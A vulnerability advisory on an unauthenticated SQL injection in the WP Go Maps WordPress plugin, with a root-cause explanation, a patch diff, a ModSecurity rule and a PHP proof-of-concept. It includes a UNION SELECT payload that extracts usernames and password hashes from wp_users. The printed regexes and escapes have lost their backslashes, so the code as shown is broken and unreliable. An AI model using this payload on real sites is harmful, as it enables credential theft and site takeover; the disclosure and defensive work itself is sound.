Atomic Edge analysis of CVE-2026-15381:
CVE-2026-15381 is an unauthenticated SQL injection vulnerability in the WP Go Maps plugin for WordPress, affecting versions prior to 10.1.04. The flaw resides in the marker filter’s limit parameter handling. Attackers can inject arbitrary SQL through the `limit` parameter, leading to sensitive data extraction from the WordPress database. The CVSS score of 7.5 reflects the high confidentiality impact and the ability to exploit remotely without authentication.
The root cause lies in the `set_limit` method of the class defined in `wp-google-maps/includes/class.query.php`. Prior to the patch, the code used a loose regular expression `preg_match(‘/d+s*,s*d+/’, $value)` that only checked for the presence of digits and a comma, not the entire string. This allowed attackers to append additional SQL clauses. For example, a value like `1,2 UNION SELECT …` bypassed the check because the regex matched the leading `1,2` substring but ignored the rest. The filtered value was then directly assigned to `$this->_limit` without sanitization, and later concatenated into an SQL query. Additionally, the `__set` magic method in `wp-google-maps/includes/class.marker-filter.php` lacked a guard against setting properties with leading underscores, which could allow manipulation of internal properties. The patch adds a guard to `__set` to prevent setting properties with leading underscores and tightens the limit validation to only accept numeric values optionally separated by a comma.
Exploitation is straightforward. An unauthenticated attacker sends a crafted HTTP request to the WordPress REST API endpoint or an AJAX action that triggers the marker filter. The vulnerable parameter is `limit`, often passed as a query string or POST parameter. For instance, a request to `/wp-json/wpgmza/v1/markers?limit=1,2 UNION SELECT user_login,user_pass FROM wp_users– -` would bypass the flawed regex check because the regex only matches `1,2`. The injected SQL then executes, allowing the attacker to retrieve arbitrary data from the database. Atomic Edge research confirms that the marker filter is accessible without authentication, making this a critical pre-auth SQL injection.
The patch (v10.1.04) addresses the issue by replacing the loose regex with a strict pattern that matches the entire string: `/^s*(d+)(?:s*,s*(d+))?s*$/`. This ensures that only numeric values, optionally separated by a comma, are accepted. The captured groups are cast to integers before being reassigned, preventing any SQL injection. Additionally, the `__set` magic method in `class.marker-filter.php` now returns early if the property name starts with an underscore, preventing internal properties from being overwritten. These changes effectively block the injection vector and harden the object’s property handling.
If exploited, this vulnerability allows unauthenticated attackers to read arbitrary data from the WordPress database, including user credentials, secret keys, and other sensitive information. This can lead to full site compromise, privilege escalation, and lateral movement within the hosting environment. Given the widespread use of the WP Go Maps plugin, the impact is severe. Atomic Edge recommends immediate patching to version 10.1.04 or later.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/wp-google-maps/html/atlas-major/credits.html.php
+++ b/wp-google-maps/html/atlas-major/credits.html.php
@@ -138,6 +138,7 @@
<li title='Organization: Wordfence'>Thanh Diem</li>
<li title='Organization: Patchstack'>Rafie Muhammad</li>
<li title='Organization: WPScan'>Marc</li>
+ <li title='Organization: WPScan'>Jakub Herman</li>
<li title='Organization: Fraudless.tech'>Ilyess Ghalem</li>
<li>Visse</li>
<li>Mohammed Adam</li>
--- a/wp-google-maps/html/atlas-novus/credits.html.php
+++ b/wp-google-maps/html/atlas-novus/credits.html.php
@@ -125,6 +125,7 @@
<li title='Organization: Wordfence'>Thanh Diem</li>
<li title='Organization: Patchstack'>Rafie Muhammad</li>
<li title='Organization: WPScan'>Marc</li>
+ <li title='Organization: WPScan'>Jakub Herman</li>
<li title='Organization: Fraudless.tech'>Ilyess Ghalem</li>
<li>Visse</li>
<li>Mohammed Adam</li>
--- a/wp-google-maps/includes/class.marker-filter.php
+++ b/wp-google-maps/includes/class.marker-filter.php
@@ -32,6 +32,9 @@
public function __set($name, $value)
{
+ if(isset($name[0]) && $name[0] === '_')
+ return;
+
if(property_exists($this, "_$name"))
{
switch($name)
--- a/wp-google-maps/includes/class.query.php
+++ b/wp-google-maps/includes/class.query.php
@@ -96,10 +96,10 @@
break;
case 'limit':
- if(!preg_match('/d+s*,s*d+/', $value))
+ if(!preg_match('/^s*(d+)(?:s*,s*(d+))?s*$/', $value, $m))
throw new Exception('Invalid SQL limit');
-
- $this->_limit = $value;
+
+ $this->_limit = isset($m[2]) ? ((int)$m[1] . ',' . (int)$m[2]) : (int)$m[1];
break;
--- a/wp-google-maps/wpGoogleMaps.php
+++ b/wp-google-maps/wpGoogleMaps.php
@@ -3,7 +3,7 @@
Plugin Name: WP Go Maps (formerly WP Google Maps)
Plugin URI: https://www.wpgmaps.com
Description: The easiest to use Google Maps plugin! Create custom Google Maps or a map block with high quality markers containing locations, descriptions, images and links. Add your customized map to your WordPress posts and/or pages quickly and easily with the supplied shortcode. No fuss.
-Version: 10.1.03
+Version: 10.1.04
Author: WP Go Maps (formerly WP Google Maps)
Author URI: https://www.wpgmaps.com
Text Domain: wp-google-maps
@@ -14,6 +14,9 @@
/*
+ * 10.1.04 - 2026-07-10
+ * Fixed issue where unauthenticated SQL Injection was possible via the limit paramater in the Marker Filter. Security issue, thanks to Jakub Herman
+ *
* 10.1.03 - 2026-06-17
* Fixed issue where the internal engine assignment could be skipped on fresh installs, defaulting new installations to Atlas Major instead of the intended random assignment between Novus and Major.
*
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-15381
# Blocks SQL injection attempts via the 'limit' parameter in WP Go Maps marker filter
# The vulnerable parameter is 'limit' and it should only contain digits and an optional comma.
SecRule REQUEST_URI "@rx ^/wp-json/wpgmza/v[0-9]+/markers"
"id:202615381,phase:2,deny,status:403,chain,msg:'CVE-2026-15381 SQL Injection via WP Go Maps limit parameter',severity:'CRITICAL',tag:'CVE-2026-15381'"
SecRule ARGS:limit "!@rx ^s*d+(?:s*,s*d+)?s*$"
"t:none,t:urlDecodeUni,t:trim"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-15381 - WP Go Maps < 10.1.04 Unauthenticated SQL Injection
$target_url = 'http://example.com'; // Change to your WordPress site URL
// The vulnerable endpoint: WP Go Maps marker filter REST API
// Adjust the namespace and version if needed. Typically: /wp-json/wpgmza/v1/markers
$endpoint = '/wp-json/wpgmza/v1/markers';
// SQL injection payload in the 'limit' parameter
// The original regex /d+s*,s*d+/ matches '1,2' and ignores the rest.
$payload = '1,2 UNION SELECT user_login, user_pass FROM wp_users-- -';
$url = $target_url . $endpoint . '?limit=' . urlencode($payload);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output the response
echo "HTTP Status: $http_coden";
echo "Response:n$responsen";
// If successful, the response may contain user credentials.
// Note: The exact response format depends on the plugin's REST API implementation.
// Adjust the endpoint and payload accordingly based on the actual vulnerable action.
?>